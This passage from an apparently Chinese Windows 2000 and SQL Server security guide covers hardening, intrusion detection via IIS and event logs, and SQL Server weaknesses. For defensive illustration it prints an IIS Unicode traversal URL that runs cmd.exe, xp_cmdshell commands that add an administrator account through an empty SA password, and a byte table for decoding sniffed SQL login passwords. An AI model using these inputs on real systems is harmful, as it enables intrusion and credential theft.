Dump文件在系统崩溃和蓝屏的时候是一份很有用的查找问题的资料(不然我就照字面意思翻译成垃圾文件了)。然而,它也能够给黑客提供一些敏感信息比如一些应用程序的密码等。要禁止它,打开控制面板→系统属性→高级→启动和故障恢复把“写入调试信息”改成“无”。要用的时候,可以再重新打开它。 4.使用文件加密系统EFS Windows2000 强大的加密系统能够给磁盘、文件夹、文件加上一层安全保护。这样可以防止别人把你的硬盘挂到别的机器上以读出里面的数据。记住要给文件夹也使用EFS,而不仅仅是单个的文件。 5.加密Temp文件夹 一些应用程序在安装和升级的时候,会把一些东西拷贝到Temp文件夹,但是当程序升级完毕或关闭的时候,它们并不会自己清除Temp文件夹的内容。所以,给Temp文件夹加密可以给你的文件多一层保护。 6.锁住注册表 在Windows2000中,只有Administrators和Backup Operators才有从网络上访问注册表的权限。如果你觉得还不够的话,可以进一步设定注册表访问权限,详细信息请参考: http://support.microsoft.com/support/kb/articles/Q153/1/83.asp 7.关机时清除掉页面文件 页面文件也就是调度文件,是Win2000用来存储没有装入内存的程序和数据文件部分的隐藏文件。一些第三方的程序可以把一些没有的加密的密码存在内存中,页面文件中也可能含有另外一些敏感的资料。 要在关机的时候清楚页面文件,可以编辑注册表HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management把ClearPageFileAtShutdown的值设置成“1”。 8.禁止从软盘和CD ROM启动系统 一些第三方的工具能通过引导系统来绕过原有的安全机制。如果你的服务器对安全要求非常高,可以考虑使用可移动软盘和光驱。把机箱锁起来扔不失为一个好方法。 9.考虑使用智能卡来代替密码 对于密码,总是使安全管理员进退两难,容易受到 10phtcrack 等工具的攻击,如果密码太复杂,用户把为了记住密码,会把密码到处乱写。如果条件允许,用智能卡来代替复杂的密码是一个很好的解决方法。 10.考虑使用IPSec 正如其名字的含义,IPSec 提供 IP 数据包的安全性。IPSec 提供身份验证、完整性和可选择的机密性。发送方计算机在传输之前加密数据,而接收方计算机在收到数据之后解密数据。利用IPSec可以使得系统的安全性能大大增强。 5.4 Win2000 Server入侵监测 上一节我们谈到了Win2000 Server的安全配置,经过精心配置的Win2000服务器可以防御90%以上的入侵和渗透,但是,系统安全是一个连续的过程,随着新漏洞的出现和服务器应用的变化,系统的安全状况也在不断变化着;同时由于攻防是矛盾的统一体,道消魔长和魔消道长也在不断的转换中,因此,再高明的系统管理员也不能保证一台正在提供服务的服务器长时间绝对不被入侵。 所以,安全配置服务器并不是安全工作的结束,相反却是漫长乏味的安全工作的开始,本文我们将初步探讨Win2000服务器入侵检测的初步技巧,希望能帮助您长期维护服务器的安全。 本文中所说的入侵检测指的是利用Win2000 Server自身的功能及系统管理员自己编写的软件/脚本进行的检测,使用防火墙(Firewall)或入侵监测系统(IDS)的技巧并不在本文的讨论范围之内。 现在假定:我们有一台Win2000 Server的服务器,并且经过了初步的安全配置,在这种情况下,大部分的入侵者将被拒之门外。慢着,现在说的是大部分,不是全部,经过初步安全配置的服务器虽然可以防御绝大多数的Script kid(脚本族-只会用别人写的程序入侵服务器的人),遇到了真正的高手,还是不堪一击的。虽然说真正的高手不会随便进入别人的服务器,但是也难保有几个品行不端的邪派高手看上了你的服务器。(真的这么衰么?)而且,在漏洞的发现与补丁的发布之间往往有一段时间的真空,任何知道漏洞资料的人都可以乘虚而入,这时,入侵检测技术就显得非常的重要。 入侵的检测主要还是根据应用来进行,提供了相应的服务就应该有相应的检测分析系统来进行保护,对于一般的主机来说,主要应该注意以下几个方面: 5.4.1 基于80端口入侵的检测 WWW服务大概是最常见的服务之一了,而且由于这个服务面对广大用户,服务的流量和复杂度都很高,所以针对这个服务的漏洞和入侵技巧也最多。对于NT来说,IIS一直是系统管理员比较头疼的一部分(恨不得关了80端口),不过好在IIS自带的日志功能从某种程度上可以成为入侵检测的得力帮手。IIS自带的日志文件默认存放在System32/LogFiles目录下,一般是按24小时滚动的,在IIS管理器中可以对它进行详细的配置。(具体怎么配我不管你,不过你要是不详细记录,回头查不到入侵者的IP可不要哭) 现在我们再假设(怎么老是假设呀,烦不烦?)别急呀,不能为了写这篇文章真的去黑掉一台主机,所以只好假设了,我们假设一台Web服务器,开放了WWW服务,你是这台服务器的系统管理员,已经小心地配置了IIS,使用W3C扩展的日志格式,并至少记录了时间(Time)、客户端IP(Client IP)、方法(Method)、URI资源(URI Stem)、URI查询(URI Query),协议状态(Protocol Status),我们用最近比较流行的Unicode漏洞来进行分析:打开IE的窗口,在地址栏输入:127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir默认的情况下你可以看到目录列表(什么?你已经做过安全配置了,看不到?恢复默认安装,我们要做个实验),让我们来看看IIS的日志都记录了些什么,打开Ex010318.log(Ex代表W3C扩展格式,后面的一串数字代表日志的记录日期) :07:42:58 127.0.0.1 GET /scripts/..\../winnt/system32\cmd.exe /c+dir 200上面这行日志表示在格林威治时间07:42:58(就是北京时间23:42:58),有一个家伙(入侵者)从127.0.0.1的IP在你的机器上利用Unicode漏洞(%c1%1c被解码为“\”,实际的情况会因为Windows语言版本的不同而有略微的差别)运行了cmd.exe,参数是/c dir,运行结果成功(HTTP 200代表正确返回)。 大多数情况下,IIS的日志会忠实地记录它接收到的任何请求(也有特殊的不被IIS记录的攻击,这个我们以后再讨论),所以,一个优秀的系统管理员应该擅长利用这点来发现入侵的企图,从而保护自己的系统。但是,IIS的日志动辄数十兆、流量大的网站甚至数十G,人工检查几乎没有可能,唯一的选择就是使用日志分析软件,用任何语言编写一个日志分析软件(其实就是文本过滤器)都非常简单,不过考虑到一些实际情况(比如管理员不会写程序,或者服务器上一时找不到日志分析软件),我可以告诉大家一个简单的方法,比方说你想知道有没有人从80端口上试图取得你的Global.asa文件,可以使用以下的CMD命令:find。 “Global.asa” ex010318.log/i这个命令使用的是NT自带的find.exe工具(所以不怕紧急情况找不着),可以轻松的从文本文件中找到你想过滤的字符串,“Global.asa”是需要查询的字符串,ex010318.log是待过滤的文本文件,/i代表忽略大小写。因为我无意把这篇文章写成微软的Help文档,所以关于这个命令的其他参数以及它的增强版FindStr.exe的用法请去查看Win2000的帮助文件。 无论是基于日志分析软件或者是Find命令,你都可以建立一张敏感字符串列表,包含已有的IIS漏洞(比如“+.htr”)以及未来将要出现的漏洞可能会调用的资源(比如Global.asa或者cmd.exe),通过过滤这张不断更新的字符串表,一定可以尽早了解入侵者的行动。 需要提醒的是,使用任何日志分析软件都会占用一定的系统资源,因此,对于IIS日志分析这样低优先级的任务,放在夜里空闲时自动执行会比较合适,如果再写一段脚本把过滤后的可疑文本发送给系统管理员,那就更加完美了。同时,如果敏感字符串表较大,过滤策略复杂,建议还是用C写一个专用程序会比较合算。 5.4.2 基于安全日志的检测 通过基于IIS日志的入侵监测,我们能提前知道窥伺者的行踪(如果你处理失当,窥伺者随时会变成入侵者),但是IIS日志不是万能的,它在某种情况下甚至不能记录来自80端口的入侵,根据对IIS日志系统的分析,IIS只有在一个请求完成后才会写入日志,换言之,如果一个请求中途失败,日志文件中是不会有它的踪影的(这里的中途失败并不是指发生HTTP400错误这样的情况,而是从TCP层上没有完成HTTP请求,例如在POST大量数据时异常中断),对于入侵者来说,就有可能绕过日志系统完成大量的活动。 而且,对于非80 Only的主机,入侵者也可以从其它的服务进入服务器,因此,建立一套完整的安全监测系统是非常必要的。 Win2000自带了相当强大的安全日志系统,从用户登录到特权的使用都有非常详细的记录,可惜的是,默认安装下安全审核是关闭的,以至于一些主机被黑后根本没法追踪入侵者。所以,我们要做的第一步是在管理工具→本地安全策略→本地策略→审核策略中打开必要的审核,一般来说,登录事件与账户管理是我们最关心的事件,同时打开成功和失败审核非常必要,其他的审核也要打开失败审核,这样可以使得入侵者步步维艰,一不小心就会露出马脚。仅仅打开安全审核并没有完全解决问题,如果没有很好的配置安全日志的大小及覆盖方式,一个老练的入侵者就能够通过洪水般的伪造入侵请求覆盖掉他真正的行踪。通常情况下,将安全日志的大小指定为50MB并且只允许覆盖7天前的日志可以避免上述情况的出现。 设置了安全日志却不去检查跟没有设置安全日志几乎一样糟糕(唯一的优点是被黑了以后可以追查入侵者),所以,制定一个安全日志的检查机制也是非常重要的,作为安全日志,推荐的检查时间是每天上午,这是因为,入侵者喜欢夜间行动(速度快呀,要不你入侵到一半的时候连不上了,那可是哭都哭不出来)上午上班第一件事正好看看日志有没有异常,然后就可以放心去做其他的事了。如果你喜欢,也可以编写脚本每天把安全日志作为邮件发送给你(别太相信这个了,要是哪个高手上去改了你的脚本,每天发送“平安无事”……) 除了安全日志,系统日志和应用程序日志也是非常好的辅助监测工具,一般来说,入侵者除了在安全日志中留下痕迹(如果他拿到了Admin权限,那么他一定会去清除痕迹的),在系统和应用程序日志中也会留下蛛丝马迹,作为系统管理员,要有不放过任何异常的态度,这样入侵者就很难隐藏它们的行踪。 5.4.3 文件访问日志与关键文件保护 除了系统默认的安全审核外,对于关键的文件,我们还要加设文件访问日志,记录对他们的访问。 文件访问有很多的选项:访问、修改、执行、新建、属性更改......一般来说,关注访问和修改就能起到很大的监视作用。 例如,如果我们监视了系统目录的修改、创建,甚至部分重要文件的访问(例如cmd.exe,net.exe,system32目录),那么,入侵者就很难安放后门而不引起我们的注意,要注意的是,监视的关键文件和项目不能太多,否则不仅增加系统负担,还会扰乱日常的日志监测工作(哪个系统管理员有耐心每天看四、五千条垃圾日志?) 关键文件不仅仅指的是系统文件,还包括有可能对系统管理员/其他用户构成危害的任何文件,例如系统管理员的配置、桌面文件等等,这些都是有可能用来窃取系统管理员资料/密码的。 5.4.4 进程监控 进程监控技术是追踪木马后门的另一个有力武器,90%以上的木马和后门是以进程的形式存在的(也有以其他形式存在的木马,参见本书第九章,作为系统管理员,了解服务器上运行的每个进程是职责之一(否则不要说安全,连系统优化都没有办法做),做一份每台服务器运行进程的列表非常必要,能帮助管理员一眼就发现入侵进程,异常的用户进程或者异常的资源占用都有可能是非法进程。除了进程外,DLL也是危险的东西,例如把原本是exe类型的木马改写为dll后,使用rundll32运行就比较具有迷惑性。 5.4.5 注册表校验 一般来说,木马或者后门都会利用注册表来再次运行自己,所以,校验注册表来发现入侵也是常用的手法之一。一般来说,如果一个入侵者只懂得使用流行的木马,那么由于普通木马只能写入特定的几个键值(比如Run、Runonce等等),查找起来是相对容易的,但是对于可以自己编写/改写木马的人来说,注册表的任何地方都可以藏身,靠手工查找就没有可能了。(注册表藏身千变万化,例如需要特别提出来的FakeGina技术,这种利用WinNT外嵌登录DLL(Ginadll)来获得用户密码的方法最近比较流行,一旦中招,登录用户的密码就会被记录无遗,具体的预防方法这里就不介绍了。)应对的方法是监控注册表的任何改动,这样改写注册表的木马就没有办法遁形了。监控注册表的软件非常多,很多追查木马的软件都带有这样的功能,一个监控软件加上定期对注册表进行备份,万一注册表被非授权修改,系统管理员也能在最短的时间内恢复。 5.4.6 端口监控 虽然说不使用端口的木马已经出现,但是大部分的后门和木马还是使用TCP连接的,监控端口的状况对于由于种种原因不能封锁端口的主机来说就是非常重要的了,我们这里不谈使用NDIS网卡高级编程的IDS系统,对于系统管理员来说,了解自己服务器上开放的端口甚至比对进程的监控更加重要,常常使用Netstat查看服务器的端口状况是一个良好的习惯,但是并不能24小时这样做,而且NT的安全日志有一个坏习惯,喜欢记录机器名而不是IP(不知道比尔·盖茨怎么想的),如果你既没有防火墙又没有入侵检测软件,倒是可以用脚本来进行IP日志记录的,看着这个命令: netstat -n -p tcp 10>>Netstat.log,这个命令每10秒钟自动查看一次TCP的连接状况,基于这个命令我们做一个Netlog.bat文件: time /t>>Netstat.log Netstat -n -p tcp 10>>Netstat.log 这个脚本将会自动记录时间和TCP连接状态,需要注意的是:如果网站访问量比较大,这样的操作是需要消耗一定的CPU时间的,而且日志文件将越来越大,所以请慎之又慎。(要是做个脚本就完美无缺,谁去买防火墙? 一旦发现异常的端口,可以使用特殊的程序来关联端口、可执行文件和进程(如inzider就有这样的功能,它可以发现服务器监听的端口并找出与该端口关联的文件,这样无论是使用TCP还是UDP的木马都无处藏身。 5.4.7 终端服务的日志监控 单独将终端服务(Terminal Service)的日志监控分列出来是有原因的,微软Win2000服务器版中自带的终端服务Terminal Service是一个基于远程桌面协议(RDP)的工具,它的速度非常快,也很稳定,可以成为一个很好的远程管理软件,但是因为这个软件功能强大而且只受到密码的保护,所以也非常的危险,一旦入侵者拥有了管理员密码,就能够象本机一样操作远程服务器(不需要高深的NT命令行技巧,不需要编写特殊的脚本和程序,只要会用鼠标就能进行一切系统管理操作,实在是太方便、也实在是太可怕了)。虽然很多人都在使用终端服务来进行远程管理,但是,并不是人人都知道如何对终端服务进行审核,大多数的终端服务器上并没有打开终端登录的日志,其实打开日志审核是很容易的,在管理工具中打开远程控制服务配置(Terminal Service Configration),点击“连接”,右击你想配置的RDP服务(比如 RDP-TCP(Microsoft RDP 5.0),选中书签“权限”,点击左下角的“高级”,看见上面那个“审核”了么?我们来加入一个Everyone组,这代表所有的用户,然后审核他的“连接”、“断开”、“注销”的成功和“登录”的成功和失败就足够了,审核太多了反而不好,这个审核是记录在安全日志中的,可以从“管理工具”→“日志查看器”中查看。现在什么人什么时候登录我都一清二楚了,可是美中不足的是:这个破烂玩艺居然不记录客户端的IP(只能查看在线用户的IP),而是华而不实的记录什么机器名,倒!要是别人起个PIG的机器名你只好受他的嘲弄了,不知道微软是怎么想的,看来还是不能完全依赖微软呀,我们自己来吧?写个程序,一切搞定,你会C么?不会?VB呢?也不会?Delphi?……什么?你什么编程语言都不会?我倒,毕竟系统管理员不是程序员呀,别急别急,我们给你想办法,我们来建立一个Bat文件,叫做TSLog.bat,这个文件用来记录登录者的IP,内容如下: time /t >>TSLog.log netstat -n -p tcp | find “:3389”>>TSLog.log start Explorer 来解释一下这个文件的含义: 第一行是记录用户登录的时间,time/t的意思是直接返回系统时间(如果不加/t,系统会等待你输入新的时间),然后我们用追加符号“>>”把这个时间记入TSLog.log作为日志的时间字段; 第二行是记录用户的IP地址,Netstat是用来显示当前网络连接状况的命令,-n表示显示IP和端口而不是域名、协议,-ptcp是只显示tcp协议,然后我们用管道符号“|”把这个命令的结果输出给find命令,从输出结果中查找包含“:3389”的行(这就是我们要的客户的IP所在的行,如果你更改了终端服务的端口,这个数值也要作相应的更改),最后我们同样把这个结果重定向到日志文件TSLog.log中去,于是在SLog.log文件中,记录格式如下: 22:40 TCP192.168.12.28:3389192.168.10.123:4903ESTABLISHED 22:54 TCP192.168.12.28:3389 192.168.12.29:1039ESTABLISHED 也就是说只要这个TSLog.bat文件一运行,所有连在3389端口上的IP都会被记录,那么如何让这个批处理文件自动运行呢?我们知道,终端服务允许我们为用户自定义起始的程序,在终端服务配置中,我们覆盖用户的登录脚本设置并指定TSLog.bat为用户登录时需要打开的脚本,这样每个用户登录后都必须执行这个脚本,因为默认的脚本(相当于shell环境)是Explorer(资源管理器),所以我在TSLog.bat的最后一行加上了启动Explorer的命令startExplorer,如果不加这一行命令,用户是没有办法进入桌面的!当然,如果你只需要给用户特定的Shell:例如cmd.exe或者word.exe你也可以把start Explorer替换成任意的shell。这个脚本也可以有其他的写法,作为系统管理员,你完全可以自由发挥你的想象力、自由利用自己的资源,例如写一个脚本把每个登录用户的IP发送到自己的信箱对于重要的服务器也是一个很好的方法。正常情况下一般的用户没有查看终端服务设置的权限,所以他不会知道你对登录进行了IP审核,只要把TSLog.bat文件和TSLog.log文件放在比较隐蔽的目录里就足够了,不过需要注意的是这只是一个简单的终端服务日志策略,并没有太多的安全保障措施和权限机制,如果服务器有更高的安全要求,那还是需要通过编程或购买入侵监测软件来完成的。 5.4.8 陷阱技术 早期的陷阱技术只是一个伪装的端口服务用来监测扫描,随着矛和盾的不断升级,现在的陷阱服务或者陷阱主机已经越来越完善,越来越象真正的服务,不仅能截获半开式扫描,还能伪装服务的回应并记录入侵者的行为,从而帮助判断入侵者的身份。 一般黑客高手对于陷阱技术并不是非常感兴趣,一来从技术人员角度来说,低调行事更符合安全的原则;二来陷阱主机反而成为入侵者跳板的情况并不仅仅出现在小说中,在现实生活中也屡见不鲜,如果架设了陷阱反而被用来入侵,那真是偷鸡不成蚀把米。 记得CoolFire(一个著名的黑客)说过一句话,可以用来作为对陷阱技术介绍的一个结束:在不了解情况时,不要随便进入别人的系统,因为你永远不能事先知道系统管理员是真的白痴还是伪装成白痴的天才...... 入侵监测的初步介绍就到这里,在实际运用中,系统管理员对基础知识掌握的情况直接关系到他的安全敏感度,只有身经百战而又知识丰富、仔细小心的系统管理员才能从一点点的蛛丝马迹中发现入侵者的影子,未雨绸缪,扼杀入侵的行动。 5.5 谁与争锋——Windows 2000 VS Windows NT 5.5.1 Windows 2000Windows NT大比拼 1.Windows NT的优点 Windows NT的全称是Windows NT Server 4.0网络操作系统,作为微软公司进军服务器领域的主力军,这套不断完中的操作系统具备以下五大网络功能特点: (1)内置的网络功能 以往网络操作系统大都是在传统的操作系统之上附加上网络工具软件,而Windows NT Server 4.0网络操作系统则是把网络功能做到了系统之中,并将其做为NT网络操作系统中输入、输出的一部分,因此与其它网络操作系统相比较,Windows NT Server 4.0在内部结构方面表现的更为严谨; (2)良好的用户操作界面 Windows NT Server 4.0采用了完全图形化的界面,用户可以方便的以鼠标进行操作,尤其是Windows NT Server 4.0具有和windows 95相同的操作界面,使每位网络管理员都觉得十分亲切,这与NebWare等形成非常鲜明的对比。另外,在Windows NT Server 4.0中实现资源共享、用户和组账号的管理都十分方便; (3)可以实现复合型的网络结构 由Windows NT Server4.0组成网络后,由于NT内置的网络功能,可以同时存在客户机/服务器网络和点对点对等式网络两种模式,各工作站可以通过不同的登陆方式选择不同的共享对象,而正是Windows NT Server 4.0中的点对点通信功能大幅度地减轻了服务器的工作负担; (4)组网简单,便于管理 应用NT的网络在组建和管理方式上十分简单,特别是与早一些的NETWARE等网络操作系统相比,几乎不需要另行学习很多的网络技术和知识。不过虽然从技术性上较NETWARE更为成熟,但在硬件要求方面,Windows NT操作系统就不那么平易近人了。记得当年在NETWARE上组网只要286型的机器便足以应付,而windows nt操作系统的最低硬件配置推荐为386以上,而如果要很好应用则至少是486以上。 2.Windows 2000 Server的优点 如果用一句话来概括Windows 2000与Windows其它各个版本的不同,那么最准确的应该是Windows 2000弃用了Windows NT 4.0中的Domain(域)管理,而采用了全新的活动目录服务(Active Directory-Service)技术。活动目录充分体现了Windows 2000的“ICE”,即集成性(Integration)、全面性(Compre-hensive)和易用性(EaseofUse),是一个完全可扩展、可伸缩的目录服务,既能满足商业ISP的需要,又能满足企业内部网和外联网的需要。不夸张地说,它是Windows 2000提供管理、服务功能的动力源泉和核心所在。 目前所知,Windows 2000有四个版本: (1)Windows 2000 Professional (windows2000专业版) ,也就是Windows NT的最新版本,专为各种桌面计算机和便携机开发的新一代操作系统。完全继承了Windows NT的先进技术,提供了高层次的安全性、稳定性和系统性能。同时,它帮助用户更加容易地使用计算机、安装和配置系统、脱机工作和使用Internet等; (2)Windows 2000 Server (Windows 2000服务器版),即在Windows NT Server 4.0基础上而来,属于专为服务器开发的多用途操作系统,可为部门工作小组或中小型公司用户提供文件打印、软件应用、Web功能和通信等各种服务; (3)Windows 2000 Advanced Server (Windows 2000高级服务器版) ,作为Windows NT的服务器企业版,其除了具有Windows 2000 Server的所有功能和特性外,提供了更强的SMP扩展能力、更高的稳定性、更高性能的排序,适用拥有多种操作系统和提供Internet服务的部门和应用程序服务器; (4)Windows 2000 Datacenter Server (Windows 2000数据中心服务器版),支持16路对称多处理器系统以及高达64GB的物理内存,同时为大型数据仓库、经济分析、科学和工程模拟、联机交易服务等做了专门优化,性能更强。 这里我们重点分析一下Windows 2000 Server。 为协助网络管理员更好地管理和应用网络,Windows 2000 Server为用户提供了基于策略的管理服务,突出表现在以下几个方面: (1)活动目录 活动目录是Windows 2000 Server中的一项利器,相信对NT十分了解的用户对于活动目录的概念都不难把握,因为所谓的域其实就是活动目录中的一个基本单元。在NT网络中,当用户一次登陆一个域服务器后,就可以访问该域中已经开放的全部资源,而无需对同一域进行多次登陆。但在需要共享不同域中的服务时,对每个域都必须要登陆一次,否则无法访问未登陆域服务器中的资源或无法获得未登陆域的服务。Windows 2000 Server提供的活动目录正是很好地解决了这个问题,只要用户在某一服务器上设置了活动目录功能后,任何与这个服务器相连的其它域服务器上的资源或服务,都可以被这个服务器管理的用户访问或取得,而不必要再进行其它的设置; (2)良好的多系统集成环境 Windows 2000 Server与UNIX、NETWARE、NTS等其它网络操作系统间应该说保持了一种很好的交互关系,用户可以很轻松地把Windows 2000 Server服务器或网络集成到现有的网络中; (3)强大的外部网络(Internet)功能 Windows 2000 Server对Internet功能的增强与集成可以说已经超过之前的任何一款网络操作系统,主要表现在其捆绑的IIS因特网信息服务、IPP因特网打印协议和动态主机配置协议DHCP上。 5.5.2 谁都不从——各有千秋 从目前的应用适用性来分析,Windows 2000 Server与前边我们介绍的Windows NT 4.0相比较也存在很多问题,特别是美国华盛顿实验室在对Windows 2000 Server和Windows NT 4.0作了一个应用性能对比测试后,其结果证实当把Windows 2000 Server作为一个Web服务系统时,其性能稍好于WinNT,而在EXCHANGE服务应用中,其性能甚至低于WinNT,而文件服务系统的测试二者则在伯仲之间,而这样一个测试结果如果让网络管理员在支持甚广的WinNT和明显不太成熟的Windows 2000 Server之间作选,结果也可想而知。 而除此之外,Windows 2000 Server较之WinNT的一个致命的不足,就在于其对网络硬件环境的要求过于苛刻,当用NTS4.0作为文件服务器操作系统时,奔腾级的32M内存/2G服务器,其性能已经基本能够让人满意,而升级到Windows 2000 Server后,尽管推荐配置不过是PMMX 166/64M,但经过反复测试,我们觉得至少也得是PII500以上的CPU,256M以上PC133内存,SCSI接口7200转硬盘才可以使Windows 2000 Server稳定工作。 尽管这样的配置对于P4时代的服务器要求也不能算是多高,但对于那些非企业集的非专业用户,或者已经有了一个相对稳定网络环境的用户群来讲,巨额的硬件设备投资势必会严重阻碍Windows 2000 Server全面进入服务器操作系统领域的进程,这也是很多包括笔者在内的网络系统管理员们至今仍在观望的主要原因。 5.6 SQL Server的安全性 在Windows 2000中,企业级的用户一般都会用到另一个微软的产品,这个产品就是数据库管理软件 SQL Server,但是在与SQL Server配合使用中,我们发现了很多的问题。最后我们就简单讲一下安装了SQL Server的Windows 2000的网络操作系统普遍面临的安全问题。 5.6.1 SQL Server的基本概念 SQL是Structured Quevy Language(结构化查询语言)的缩写。SQL是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。在使用它时,只需要发出“做什么”的命令,“怎么做”是不用使用者考虑的。SQL功能强大、简单易学、使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持SQL。 SQL数据库的数据体系结构基本上是三级结构,但使用术语与传统关系模型术语不同。在SQL中,关系模式(模式)称为“基本表”(base table) ;存储模式(内模式)称为“存储文件”(stored file) ;子模式(外模式)称为“视图”(view) ;元组称为“行”(row) ;属性称为“列”(column)。名称对称如^00100009a^: 在这里,我们先简单介绍一下SQL语言的组成: 1.一个SQL数据库是表(Table)的集合,它由一个或多个SQL模式定义。 2.一个SQL表由行集构成,一行是列的序列(集合),每列与行对应一个数据项; 3.一个表或者是一个基本表或者是一个视图。基本表是实际存储在数据库的表,而视图是由若干基本表或其他视图构成的表的定义; 4.一个基本表可以跨一个或多个存储文件,一个存储文件也可存放一个或多个基本表。每个存储文件与外部存储上一个物理文件对应; 5.用户可以用SQL语句对视图和基本表进行查询等操作。在用户角度来看,视图和基本表是一样的,没有区别,都是关系(表格); 6.SQL用户可以是应用程序,也可以是终端用户。SQL语句可嵌入在宿主语言的程序中使用,宿主语言有FORTRAN,COBOL,PASCAL,PL/I,C和Ada语言等。SQL用户也能作为独立的用户接口,供交互环境下的终端用户使用。 SQL包括了所有对数据库的操作,主要是由4个部分组成: 1.数据定义:这一部分又称为“SQL DDL”,定义数据库的逻辑结构,包括定义数据库、基本表、视图和索引4部分。 2.数据操纵:这一部分又称为“SQL DML”,其中包括数据查询和数据更新两大类操作,其中数据更新又包括插入、删除和更新三种操作。 3.数据控制:对用户访问数据的控制有基本表和视图的授权、完整性规则的描述,事务控制语句等。 4.嵌入式SQL语言的使用规定:规定SQL语句在宿主语言的程序中使用的规则。 SQL SERVER漏洞修补请参考光盘内容:无需上网,直接点击即可修补: www.Microsoft.com/china SQL Server Service Pack 5a 5.6.2 SQL Server的安全缺陷 1.明文的数据传输缺陷 如果没有使用加密的协议的话,那么整个数据库的网络数据都是没有加密的,而且是明文传输。无论是从客户端发送命令还是从服务器端得到结果,都是明文传输的。看来,如果你用加密的协议,微软是不会为你做任何安全防护的。目前国内使用的SQL Server数据库差不多都是没有使用SSL来加密,看来在网络上能得到不少东西。 2.SQL Server的密码明文传输缺陷 SQL Server是使用明文进行密码传输。 当然,SQL Server的连接过程还是先进行TCP连接的三次握手,同服务器建立连接过后,然后进行TDS(tabular data stream)协议的数据交流,可惜的是我一直没有找到TDS协议的具体描述,只有一些片段,所以,都只能一点点地对着数据报分析。 直接到login包吧,你会发现,你的用户名完全是明文的,而密码还不是。当你改变密码的时候,你可以看出,相同字符的编码是一样的,密码字符之间用一个相同的字符作为分隔“a5”。呵呵。所以,最傻的办法就是这样,一个字符一个字符地改变密码,然后得到所有字符的对应编码。 这里使用的是SQL Server 2000 。这里列举一部分得到的对应编码。大家可以很容易得到完整的字符编码。 “a”--b3 “A”--b1 “b”--83 “B”--81 “c”--93 “C”--91 “d”--e3 “D”--e1 “e”--f3 “E”--f1 在SQL Server中不支持用 “、” 等等符号作为密码,如果你在用这些字符作为密码的话,那就糟糕了,你永远也登陆不上了,除非更改密码。 不过MS对SQL Server的传输还是提供加密办法的,你可以使用SSL来加密。于是我也试了试,可以在实例属性的网络配置里面选择强制协议加密,然后要求你重新启动SQL Server,呵呵,然后呢,你启动起来了么?哈哈,我们可是吃了亏的。因为没有SSL证书,所以,你一启动就错误,事件日志中说明是没有提供有效的证书。重新安装吧。该死的MS也不在我选择的时候提醒一下。 3.神秘的1434端口和服务器信息明文传输缺陷 对于SQL Server2000来说,打开SQL Server客户端准备连接,当拉开服务器列表的时候,整个局域网所有的SQL Server服务器都被列出来了。于是发现,从我们自己的机器(192.168.0.1)上从1434端口广播(192.168.0.255)了这个UDP包,然后,整个局域网中的SQL Server服务器都开始响应这个UDP数据包,这时,客户端能够得到所有服务器信息。 这就是客户端进行连接的过程:当客户端连接到服务器时,应用程序请求连接远端计算机,Dbnetlib.dll 将打开到连接中所指定的计算机网络名上的 UDP 端口 1434 的连接。所有运行 SQL Server 2000 的计算机都监听此端口。当一个客户端 Dbnetlib.dll 连接到该端口时,服务器将返回一个监听服务器上运行的所有实例的数据包。对于每个实例,该数据包报告该实例正在监听的服务器 Net-Library 和网络地址。应用程序计算机上的 Dbnetlib.dll 收到该数据包后,选择在应用程序计算机和 SQL Server 实例上都启用的 Net-Library,然后连接为此数据包中的 Net-Library 列出的地址。 通过1434端口传输特定的UDP数据包,然后服务器开始回应,所有这些都是明文传输的,我们可以很容易探测一个IP地址的1434端口,获得该IP地址上运行的SQL Server的相关信息。这些信息包括:主机名称、实例名称、版本、管道名称以及使用的端口等。这个端口是微软自己使用,而且不象默认的1433端口那样可以改变,1434是不能改变的,呵呵,那么我们为了安全,去改变这个1433端口能起什么作用呢? 我们可以来捕获这些数据报,可以发现,通过1434端口的数据非常简单,客户端仅仅简单地发送了02一个字节出去。不过多次捕获,发现有时候发送的是 03。于是我就用下面程序一个一个测试,发送其它数据。不过最后只有02、03、04有回应。看来这三种字节用来做SQL Server探测的。而且你可以发送:02 00 00,也可以发送:02 00 00 00 00等等都能够得到SQL Server的回应,但是发送 02 03就不可以了。 5.6.3 SQL Server的SA空密码攻击 在安装SQL Server后,SQL Server会将产生一个默认的SA用户,而且初始密码在管理员没有设置的情况下为空。但是SA是SQL Server中非常重要的安全模块成员,这样一来黑客们就可以通过SQL Server的客户端进行数据库远程连接,然后再通过SQL的远程数据库管理命令xp_cmdshell stored procedure(扩展存储过程)来进行命令操作: xp_cmdshell “net user id password /add” Xp_cmdshell “net localgroup Administrators id /add” 就以上两条简单的命令入侵者就能在SQL Server的服务器上马上新建一个管理员级别的Administrators组的用户。所以我们这里提醒各位网管大人,在安装好SQL Server您需要做的第一件事就是把SA的空密码立即进行修改。这个问题就不要我们告诉你应该在哪里改了吧? 而且在一般情况下,一些功能对管理员来说也是没有必要的。如果你不需要SQL Server 的xp_cmdshell(use sp_dropextendedproc “xp_cmdshell”)这项功能就不要把xp_cmdshell extended stored proc(扩展存储过程)命令功能留着。 我们只需要在isql窗口中输入: use master sp_dropextendedproc ‘xp_cmdshell‘ 然后打上Service Pack 3,这里提醒管理员们一下,一定要经常留意微软的补丁包文件,并且注意及时的把系统和软件更新到最新的补丁。 5.6.4 SQL Server的安全建议 1.保证打上最新的安全补丁,如下: Windows NT 4.0 - Service Pack 6a SQL Server 5.5 - Service Pack 5a SQL Server 7.0 - Service Pack 2. (Various hotfixes - check http://www.microsoft.com/download) SQL Server 2000 - Hotfix S80233i.exe (Intel) 当然大家要密切注意微软的安全公告。 2.不要在IP sockets使用端口1433,如果你使用Multi-protocol也请修改端口。 3.不要把“sa”密码嵌入到任意应用程序如VB/DELPHI apps,或者Global.asa文件里,因为“sa”是SQL Server 的一个默认密码,其权限类似与Windows NT系统里的管理员账户,而且密码为空。 4.改变“sa”和“probe”账户的密码。 5.保证SQL Server的错误记录在NTFS系统上。 6.如果你不需要“xp_cmdshell”就不要把xp_cmdshell extended stored proc(扩展存储过程) 留在服务器上。在任何Isql窗口中输入: use master sp_dropextendedproc ‘xp_cmdshell‘ 7.丢弃不需要OLE自动存储过程,当然Enterprise Manager中的某些特征也会不能使用,这些过程包括如下: Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop 